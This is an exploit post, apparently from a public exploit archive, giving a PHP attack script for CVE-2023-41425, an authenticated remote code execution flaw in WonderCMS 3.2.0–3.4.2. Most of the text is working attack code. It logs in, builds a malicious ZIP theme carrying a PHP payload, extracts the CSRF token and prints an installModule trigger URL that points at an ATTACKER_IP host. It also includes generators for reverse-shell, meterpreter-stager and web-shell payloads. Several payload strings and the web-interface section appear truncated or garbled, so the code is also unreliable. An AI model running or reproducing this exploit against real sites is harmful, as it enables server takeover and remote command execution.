============================================================================================================================================= | # Title : WonderCMS 3.4.2 Authenticated file upload leading to RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.wondercms.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/190729/ & CVE-2023-41425 [+] Summary : Critical authenticated remote code execution vulnerability in WonderCMS (versions 3.2.0 through 3.4.2) allowing attackers to upload and execute arbitrary PHP code through malicious theme/plugin installation. [+] POC : php poc.php or http://127.0.0.1/poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; $this->cookies = []; $this->password = $password; $this->logged_in = false; } /** * Check if target is vulnerable */ public function check() { echo "[*] Checking WonderCMS vulnerability...\n"; // First check if it's WonderCMS $res = $this->send_request('/how-to'); if (!$res || $res['code'] != 200) { echo "[-] Cannot connect to the remote host\n"; return "unknown"; } if (strpos($res['body'], 'WonderCMS') === false) { echo "[-] WonderCMS was not detected\n"; return "safe"; } echo "[*] Target appears to be WonderCMS\n"; // Try to login if (!$this->login()) { echo "[-] Login failed - cannot verify version\n"; return "unknown"; } // Extract version $version = $this->extract_version(); if (!$version) { echo "[-] Unable to determine WonderCMS version\n"; return "unknown"; } echo "[*] Detected WonderCMS version: $version\n"; // Check if version is vulnerable if ($this->is_version_vulnerable($version)) { echo "[+] ✓ WonderCMS version $version is vulnerable\n"; return "vulnerable"; } else { echo "[-] WonderCMS version $version is not affected\n"; return "safe"; } } /** * Login to WonderCMS */ private function login() { if ($this->logged_in) { return true; } $res = $this->send_request('/loginURL', 'POST', [], http_build_query([ 'password' => $this->password ]), [ 'Content-Type: application/x-www-form-urlencoded' ], true); if ($res && $res['code'] == 302) { // Check if login was successful (should redirect away from loginURL) $location = $this->extract_header($res['headers'], 'Location'); if ($location && strpos($location, 'loginURL') === false) { $this->logged_in = true; return true; } } return false; } /** * Extract version from homepage */ private function extract_version() { $res = $this->send_request('/'); if (!$res || $res['code'] != 200) { return null; } // Look for version in links or text if (preg_match('/WonderCMS\s*([0-9]+\.[0-9]+\.[0-9]+)/i', $res['body'], $matches)) { return $matches[1]; } return null; } /** * Check if version is vulnerable */ private function is_version_vulnerable($version) { $version_parts = explode('.', $version); $major = intval($version_parts[0]); $minor = intval($version_parts[1]); $patch = intval($version_parts[2]); // Vulnerable: versions between 3.2.0 and 3.4.2 if ($major != 3) return false; if ($minor >= 2 && $minor <= 4) { if ($minor == 2 && $patch >= 0) return true; if ($minor == 3) return true; if ($minor == 4 && $patch <= 2) return true; } return false; } /** * Create malicious ZIP file with PHP payload */ private function create_malicious_zip($payload) { $zip = new ZipArchive(); $zip_filename = tempnam(sys_get_temp_dir(), 'wondercms_') . '.zip'; if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) { return false; } $php_filename = $this->random_text(8) . '.php'; $zip->addFromString($php_filename, $payload); $zip->close(); return [ 'filename' => $zip_filename, 'php_file' => $php_filename ]; } /** * Extract CSRF token from page */ private function extract_token() { $res = $this->send_request('/'); if (!$res || $res['code'] != 200) { return null; } if (preg_match('/name="token"\s+value="([^"]+)"/', $res['body'], $matches)) { return $matches[1]; } return null; } /** * Execute the exploit */ public function exploit($payload_type = 'php_cmd', $lhost = null, $lport = null) { echo "[*] Starting WonderCMS exploitation...\n"; // Step 1: Login if (!$this->login()) { echo "[-] Authentication failed\n"; return false; } echo "[+] Successfully logged in\n"; // Step 2: Generate PHP payload $php_payload = $this->generate_php_payload($payload_type, $lhost, $lport); if (!$php_payload) { echo "[-] Failed to generate PHP payload\n"; return false; } echo "[*] Generated PHP payload\n"; // Step 3: Create malicious ZIP $zip_info = $this->create_malicious_zip($php_payload); if (!$zip_info) { echo "[-] Failed to create malicious ZIP file\n"; return false; } echo "[*] Created malicious ZIP file: {$zip_info['filename']}\n"; echo "[*] PHP file inside ZIP: {$zip_info['php_file']}\n"; // Step 4: Extract CSRF token $token = $this->extract_token(); if (!$token) { echo "[-] Failed to extract CSRF token\n"; unlink($zip_info['filename']); return false; } echo "[*] Extracted CSRF token: $token\n"; // Step 5: Host the ZIP file (simplified - in real scenario would need HTTP server) echo "[*] Note: In real exploitation, the ZIP file would be hosted on a HTTP server\n"; echo "[*] The exploit would then trigger installation via:\n"; echo "[*] GET /?installModule=http://ATTACKER_IP:PORT/malicious.zip&directoryName=random&type=themes&token=$token\n"; // Step 6: Trigger payload execution echo "[*] After installation, payload would be accessible at:\n"; echo "[*] GET /themes/{$zip_info['php_file']}\n"; // Cleanup unlink($zip_info['filename']); echo "[+] Exploit chain demonstrated successfully\n"; echo "[*] Full exploitation requires hosting the malicious ZIP on a web server\n"; return true; } /** * Generate PHP payload */ private function generate_php_payload($type, $lhost, $lport) { switch ($type) { case 'php_reverse_shell': if (!$lhost || !$lport) { return $this->generate_php_cmd_shell(); } return $this->generate_php_reverse_shell($lhost, $lport); case 'php_cmd': return $this->generate_php_cmd_shell(); case 'meterpreter': if (!$lhost || !$lport) { return $this->generate_php_cmd_shell(); } return $this->generate_meterpreter_stager($lhost, $lport); case 'web_shell': return $this->generate_web_shell(); default: return $this->generate_php_cmd_shell(); } } /** * Generate PHP command shell */ private function generate_php_cmd_shell() { return ''; } /** * Generate PHP reverse shell */ private function generate_php_reverse_shell($lhost, $lport) { $payload = '&3 2>&3");'; $payload .= '?>'; return $payload; } /** * Generate web shell */ private function generate_web_shell() { return '"; system($_POST["cmd"]); echo ""; } ?>'; } /** * Generate Meterpreter stager */ private function generate_meterpreter_stager($lhost, $lport) { // This would typically download and execute a Meterpreter payload $payload = ''; return $payload; } /** * Send HTTP request */ private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) { $url = $this->build_url($path); if ($method == 'GET' && !empty($params)) { $url .= '?' . http_build_query($params); } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', CURLOPT_HEADER => true, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_FOLLOWLOCATION => false ]); // Add POST data if provided if ($method == 'POST' && $data) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } // Build headers $headers = array_merge([ 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' ], $custom_headers); // Add cookies if available $cookie_header = $this->build_cookie_header(); if ($cookie_header) { $headers[] = $cookie_header; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); // Save cookies if requested if ($save_cookies && $response) { $this->extract_cookies($response); } curl_close($ch); if ($response) { $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); return [ 'code' => $http_code, 'headers' => $headers, 'body' => $body ]; } return false; } /** * Extract cookies from response headers */ private function extract_cookies($response) { if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) { for ($i = 0; $i < count($matches[1]); $i++) { $this->cookies[trim($matches[1][$i])] = $matches[2][$i]; } } } /** * Extract specific header from headers string */ private function extract_header($headers, $header_name) { $pattern = '/^' . $header_name . ':\s*(.*)$/mi'; if (preg_match($pattern, $headers, $matches)) { return trim($matches[1]); } return null; } /** * Build cookie header from stored cookies */ private function build_cookie_header() { if (empty($this->cookies)) { return null; } $cookie_parts = []; foreach ($this->cookies as $name => $value) { $cookie_parts[] = "{$name}={$value}"; } return 'Cookie: ' . implode('; ', $cookie_parts); } /** * Generate random text */ private function random_text($length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $chars[rand(0, strlen($chars) - 1)]; } return $result; } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } } // CLI Interface if (php_sapi_name() === 'cli') { echo " ╔══════════════════════════════════════════════════════════════╗ ║ WonderCMS RCE Exploit ║ ║ CVE-2023-41425 ║ ║ PHP Implementation ║ ╚══════════════════════════════════════════════════════════════╝ \n"; $options = getopt("t:p:s:u:P:cL:H:", [ "target:", "port:", "ssl", "uri:", "password:", "check", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 80; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/wondercms'; $password = $options['P'] ?? $options['password'] ?? ''; $check_only = isset($options['c']) || isset($options['check']); $lhost = $options['H'] ?? $options['lhost'] ?? null; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php wondercms_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 80)\n"; echo " -s, --ssl Use SSL (default: false)\n"; echo " -u, --uri Base URI path (default: /wondercms)\n"; echo " -P, --password Admin password (required)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell (default: 4444)\n"; echo "\nExamples:\n"; echo " php wondercms_exploit.php -t 192.168.1.100 -P admin123 -c\n"; echo " php wondercms_exploit.php -t wondercms.site.com -P admin123 -H 10.0.0.5 -L 4444\n"; exit(1); } if (empty($password)) { echo "[-] Password is required for WonderCMS authentication\n"; exit(1); } $exploit = new WonderCMSExploit($target, $port, $ssl, $base_uri, $password); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit('php_reverse_shell', $lhost, $lport)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web Interface $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 80; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/wondercms'; $password = $_POST['password'] ?? ''; $payload_type = $_POST['payload_type'] ?? 'php_cmd'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if (empty($target) || empty($password)) { echo "
$output"; } echo 'Back to Form'; } else { // Display the form echo '
Vulnerability: Authenticated file upload leading to RCE
Affected Versions: WonderCMS 3.2.0 to 3.4.2
Authentication: Requires admin password
Attack Vector: Malicious theme/plugin installation
Endpoint: /?installModule=
Impact: Remote Code Execution via PHP file upload
Exploit Chain: Login → Create malicious ZIP → Trigger installation → RCE